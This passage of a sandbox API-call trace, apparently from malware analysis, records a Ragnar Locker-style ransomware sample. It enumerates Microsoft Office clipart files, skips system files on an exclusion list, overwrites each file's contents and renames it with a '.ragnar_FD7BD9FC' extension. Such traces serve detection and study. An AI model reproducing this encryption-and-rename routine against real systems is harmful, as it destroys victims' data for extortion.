lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.ragnar_FD7BD9FC" [0079.920] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.920] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0079.920] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.920] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01060_.WMF" | out: lpString1="AN01060_.WMF") returned="AN01060_.WMF" [0079.920] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned=".WMF" [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="autorun.inf") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="boot.ini") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="bootfont.bin") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="bootsect.bak") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="bootmgr") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="bootmgr.efi") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="desktop.ini") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="iconcache.db") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="ntldr") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="ntuser.dat") returned -1 [0079.920] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.921] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="ntuser.ini") returned -1 [0079.921] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="thumbs.db") returned -1 [0079.921] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.921] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.921] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.921] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.921] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.921] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.921] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0079.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.922] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7968) returned 1 [0079.922] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.922] GetProcessHeap () returned 0x580000 [0079.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.922] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.923] VirtualAlloc (lpAddress=0x0, dwSize=0x1f20, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.924] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f20, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f20, lpOverlapped=0x0) returned 1 [0079.925] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.925] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f20, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.925] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f20, lpOverlapped=0x0) returned 1 [0079.925] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.925] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.925] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.925] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.925] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.925] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.925] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.926] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.926] GetProcessHeap () returned 0x580000 [0079.926] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.926] CloseHandle (hObject=0xf4) returned 1 [0079.926] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" [0079.926] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.ragnar_FD7BD9FC" [0079.926] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.926] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0079.926] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.926] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01084_.WMF" | out: lpString1="AN01084_.WMF") returned="AN01084_.WMF" [0079.926] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned=".WMF" [0079.926] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.926] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="autorun.inf") returned -1 [0079.926] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="boot.ini") returned -1 [0079.926] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="bootfont.bin") returned -1 [0079.926] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="bootsect.bak") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="bootmgr") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="bootmgr.efi") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="desktop.ini") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="iconcache.db") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="ntldr") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="ntuser.dat") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="ntuser.ini") returned -1 [0079.927] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="thumbs.db") returned -1 [0079.927] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.927] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.927] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.927] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.927] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.927] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.927] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0079.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.927] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1832) returned 1 [0079.928] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x71f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.928] GetProcessHeap () returned 0x580000 [0079.928] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.928] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.929] VirtualAlloc (lpAddress=0x0, dwSize=0x728, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.929] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.930] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x728, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x728, lpOverlapped=0x0) returned 1 [0079.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.930] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x728, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.930] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x728, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x728, lpOverlapped=0x0) returned 1 [0079.930] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x728, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.930] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x728, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.930] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.930] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.931] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.931] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.931] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.931] GetProcessHeap () returned 0x580000 [0079.931] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.931] CloseHandle (hObject=0xf4) returned 1 [0079.931] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" [0079.931] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.ragnar_FD7BD9FC" [0079.931] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.932] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0079.932] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.932] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN01173_.WMF" | out: lpString1="AN01173_.WMF") returned="AN01173_.WMF" [0079.932] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned=".WMF" [0079.932] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.932] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="autorun.inf") returned -1 [0079.932] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="boot.ini") returned -1 [0079.932] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="bootfont.bin") returned -1 [0079.932] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="bootsect.bak") returned -1 [0079.932] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="bootmgr") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="bootmgr.efi") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="desktop.ini") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="iconcache.db") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="ntldr") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="ntuser.dat") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="ntuser.ini") returned -1 [0079.933] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="thumbs.db") returned -1 [0079.933] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.933] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.933] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.933] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.933] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.933] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.933] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0079.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.934] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26332) returned 1 [0079.934] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x66d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.934] GetProcessHeap () returned 0x580000 [0079.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.934] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.936] VirtualAlloc (lpAddress=0x0, dwSize=0x66dc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.936] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.936] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.936] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x66dc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x66dc, lpOverlapped=0x0) returned 1 [0079.937] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.937] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x66dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.937] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x66dc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x66dc, lpOverlapped=0x0) returned 1 [0079.938] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x66dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.938] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.938] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x66dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.938] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.938] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.938] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.938] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.938] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.938] GetProcessHeap () returned 0x580000 [0079.938] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.938] CloseHandle (hObject=0xf4) returned 1 [0079.938] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" [0079.939] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.ragnar_FD7BD9FC" [0079.939] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.939] FindNextFileW (in: 